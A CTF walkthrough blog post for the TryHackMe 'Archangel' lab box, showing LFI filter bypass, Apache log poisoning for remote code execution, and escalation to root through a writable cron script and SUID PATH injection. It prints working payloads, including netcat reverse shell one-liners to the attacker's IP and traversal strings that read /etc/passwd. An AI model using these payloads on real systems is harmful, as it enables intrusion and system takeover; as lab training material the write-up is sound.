This page looks best with JavaScript enabled

Archangel

 ·  ☕ 8 min read  ·  ✍️ M4t35Z

Initial Information

Name: Archangel; Box name: ARcHanG3l; IP: 10.10.239.233

Description: Boot2root, Web exploitation, Privilege escalation, LFI

room link: tryhackme.com/room/archangel
by: Archangel

Enumeration

As always, we can start with an nmap scan to discover open ports and services running on the box.

$ nmap -sC -sV -p- -oN scans/tcpfull 10.10.239.233
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
|   256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_  256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • There is only ssh and http open

http - 80/tcp

We can open the ip in our browser and we can see an email address on the page:

support@mXXXXXXXe.thm

Since it contains a domain related to the box (.thm) we should add it to /etc/hosts.

10.10.239.233 mXXXXXXXe.thm

And now we can access the domain.

$ curl http://mXXXXXXXe.thm/
<h1>UNDER DEVELOPMENT</h1>
thm{fXXXXXXXXXXXXXXXXXXXXXXX3}
  • We got the first flag!

Now, what we can do? We have a test website on the ip and one website under development on the domain.
We can try basic directory fuzzing or just try the most common interesting locations by hand.

$ curl http://mXXXXXXXe.thm/robots.txt
User-agent: *
Disallow: /tXXX.php

From the /robots.txt file we got a new location /tXXX.php!
Let’s try to access it!

$ curl http://mXXXXXXXe.thm/tXXX.php
<!DOCTYPE HTML>
<html>
<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
    </button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
            </div>
</body>
</html>

Testing for LFI

Here’s a link on the page which uses /tXXX.php and the view GET parameter to access a file on the server /var/www/html/development_testing/mrrobot.php.
This functionality can lead to PATH TRAVERSAL on a webpage!
So let’s start tinkering with it!

$ curl http://mXXXXXXXe.thm/tXXX.php?view=/var/www/html/development_testing/mrrobot.php
<!DOCTYPE HTML>
<html>
<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
    </button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        Control is an illusion    </div>
</body>
</html>
  • This is a different page than the one I saw before (1 line added)

Struggling with the filtering

We can try to test for some basic LFI but there are some filtering going on in the background so we cant use /tXXX.php?view=/etc/passwd because we must include the full path /var/www/html/development_testing/. And there are also a filter for multiple ../’s.

After some tryings we can figure out
/tXXX.php?view=/var/www/html/development_testing/../development_testing/mrrobot.php
returns the same mrrobot.php page which indicates there is an LFI!
And there is a filter so WE MUST BYPASS IT somehow!

Exploitation

The PLAN:
Our goal is to poison the logfile with a malicious User-Agent
and then access this logfile to execute our payload that was sent to the server
and stored in this logfile.

More reading on RCE via LFI and Log Poisoning:

We need a logfile we can access then do the rest written in the blog posts above.

Bypassing LFI filters

But we need to bypass the filters to exploit this LFI.
We can search for some basic LFI bypass techniques and we will eventually find
one which uses php’s php://filter.

http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

Now, we must customize this payload to our needs.

http://mXXXXXXXe.thm/tXXX.php?view=php://filter/read=convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php

After making a curl request we can immediately see the base64 encoded text on the page which is the source of mrrobot.php!

$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/read=convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php'
<!DOCTYPE HTML>
<html>
<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
    </button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        PD9waHAgZWNobyAnQ29udHJvbCBpcyBhbiBpbGx1c2lvbic7ID8+Cg==    </div>
</body>
</html>

We can use base64 -d to decode this text.

$ echo 'PD9waHAgZWNobyAnQ29udHJvbCBpcyBhbiBpbGx1c2lvbic7ID8+Cg==' | base64 -d
<?php echo 'Control is an illusion'; ?>

Reading page source

Requesting tXXX.php with this technique results in a much larger base64 textblock.

$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/read=convert.base64-encode/resource=/var/www/html/development_testing/tXXX.php'
<!DOCTYPE HTML>
<html>
<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
    </button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg==    </div>
</body>
</html>

We can use base64 -d again for decoding.

$ echo 'CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg==' | base64 -d
<!DOCTYPE HTML>
<html>
<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
    </button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

	    //FLAG: thm{eXXXXXXXXXXXX1}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    if(isset($_GET["view"])){
	    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
            	include $_GET['view'];
            }else{

		echo 'Sorry, Thats not allowed';
            }
	}
        ?>
    </div>
</body>
</html>

We got a new flag but there is a more interesting thing than this in the source.
We finally know how the filter works!

Actually bypassing the filters found in source

if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
  • && means both part of the filter should pass to get our file
  • If there is a ../.. string in the view parameter it will FAIL
  • If there is no /var/www/html/development_testing string in the view parameter it will FAIL

We must construct a payload that bypasses the ../.. check and passes the path check!
We can actually bypass this restriction by simply adding ./ in between two ../’s.

We must try to get the contents of /etc/passwd to prove our bypass works.

http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../etc/passwd'
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../etc/passwd'

<!DOCTYPE HTML>
<html>
<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
    </button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
archangel:x:1001:1001:Archangel,,,:/home/archangel:/bin/bash
    </div>
</body>
</html>
  • Note that we didn’t use base64 encoding here because it’s not a php file which gets executed without encoding

Log poisoning

We have to get the contents of a logfile where we can insert malicious data.
This file is usually apache’s error.log or access.log.

Finding the correct path

We can make a quick search for the location of these files (apache access.log location).

We have the possible locations!

  • /var/log/apache/access.log
  • /var/log/apache2/access.log
  • /var/log/httpd/access.log
  • /var/log/httpd/access_log
  • /var/log/httpd-access.log

There are some configfiles too which can leak the location of our target logfile:

  • /etc/apache2/apache2.conf
  • /etc/httpd/conf/httpd.conf
/etc/apache2/apache2.conf:
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../etc/apache2/apache2.conf'
ErrorLog ${APACHE_LOG_DIR}/error.log

/etc/apache2/envvars:
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../etc/apache2/envvars'
export APACHE_LOG_DIR=/var/log/apache2$SUFFIX

Since we have the path we can try to get the logfile’s contents.

$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log'
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log' | head -n 15
<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>

    </button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>

10.8.2.82 - - [06/Feb/2021:18:05:26 +0530] "GET / HTTP/1.0" 200 19462 "-" "-"
10.8.2.82 - - [06/Feb/2021:18:05:27 +0530] "GET / HTTP/1.1" 200 19462 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
10.8.2.82 - - [06/Feb/2021:18:05:27 +0530] "PROPFIND / HTTP/1.1" 405 523 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
10.8.2.82 - - [06/Feb/2021:18:05:27 +0530] "PROPFIND / HTTP/1.1" 405 523 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
10.8.2.82 - - [06/Feb/2021:18:05:27 +0530] "GET /.git/HEAD HTTP/1.1" 404 455 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"

We got the contents of the access.log file which contains User-Agents too!
This part of the file is what we want to use to get an RCE on the box.

Tesing RCE

Now, make a request to the page with a malicious user agent and then request this file again!

$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log' -H "User-Agent: asd <?php system('id'); ?> fgh"

For the second request our command should be eexecuted.

$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log' -H "User-Agent: asd <?php system('id'); ?> fgh"
---[SNIP]---
10.8.2.82 - - [06/Feb/2021:20:03:23 +0530] "GET /tXXX.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log HTTP/1.1" 200 2942 "-" "asd uid=33(www-data) gid=33(www-data) groups=33(www-data)
 fgh"
---[SNIP]---
  • Yes! We got RCE via lfi and log poisoning!

Now, it’s time to pop a reverse shell and get to the box.

Getting a reverse shell

$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log' -H "User-Agent: asd <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.2.82 1337 >/tmp/f'); ?> fgh"

  • Our shell hangs and we got a reverse shell connection as www-data!

We made use of an LFI vulnerability then we chained it with Log poisoning
in order to get an RCE!

cat /home/archangel/user.txt
thm{lXXXXXXXXXXXXXXXXXXy}

Privilege Escalation from www-data

I ran linpeas.sh in order to scan the box for possible privesc vectors.

*/1 *   * * *   archangel /opt/helloworld.sh

I took a closer look on /etc/crontab and the file that gets executed regularly.

$ cat /etc/crontab
---[SNIP]---
# m h dom mon dow user  command
*/1 *   * * *   archangel /opt/helloworld.sh
---[SNIP]---

$ ls -la /opt/helloworld.sh
-rwxrwxrwx 1 archangel archangel 66 Nov 20 10:35 /opt/helloworld.sh

$ cat /opt/helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt

The file has 777(rwxrwxrwx) permission which is very dangerous and it can be used for privilege escalation!
We can overwrite the file with our commands and it will be executed as user archangel.

The PLAN:
0. Start a listener

  1. Add our revshell payload to the file
  2. Wait until it runs
  3. Enjoy lurking on the box as archangel

target:

$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.2.82 1338 >/tmp/f' >> /opt/helloworld.sh

attacker:

$ nc -lvnp 1338
connect to [10.8.2.82] from (UNKNOWN) [10.10.136.215] 33250
/bin/sh: 0: can't access tty; job control turned off
id
uid=1001(archangel) gid=1001(archangel) groups=1001(archangel)

We made use of bad permissions to get a higher privileged shell!

cat /home/archangel/secret/user2.txt
thm{hXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXn}

Privilege Escalation from archangel

I ran linpeas.sh again.

Linpeas found a SUID binary which can be interesting so we should take a look at it.

-rwsr-xr-x 1 root root 16904 Nov 18 16:40 /home/archangel/secret/backup

Analysing the binary

$ file backup
backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped
$ strings backup
---[SNIP]---
cp /home/user/archangel/myfiles/* /opt/backupfiles
---[SNIP]---

This binary uses relative paths instead of absolute paths.
This makes path injection possible and this can be a way to get root on the system!

Path injection

The PLAN:

  1. Make a file called cp in a new directory and fill it with bash -p
  2. Make this file executable –> chmod +x cp
  3. Add the new directory to the beginning of $PATH –> export PATH="/dev/shm/random123/:$PATH"
  4. Execute the SUID binary –> /home/archangel/secret/backup
$ cd /dev/shm
$ mkdir random123
$ cd random123
$ echo 'bash -p' > cp
$ chmod +x ./cp
$ export PATH="/dev/shm/random123/:$PATH"
$ /home/archangel/secret/backup
# id
uid=0(root) gid=0(root) groups=0(root),1001(archangel)

We made use of a SUID binary which used relative paths instead of absolute paths which made the binary vulnerable to path injection!

cat /root/root.txt
thm{pXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXn}
Share on
Support the author with

M4t35Z
WRITTEN BY
M4t35Z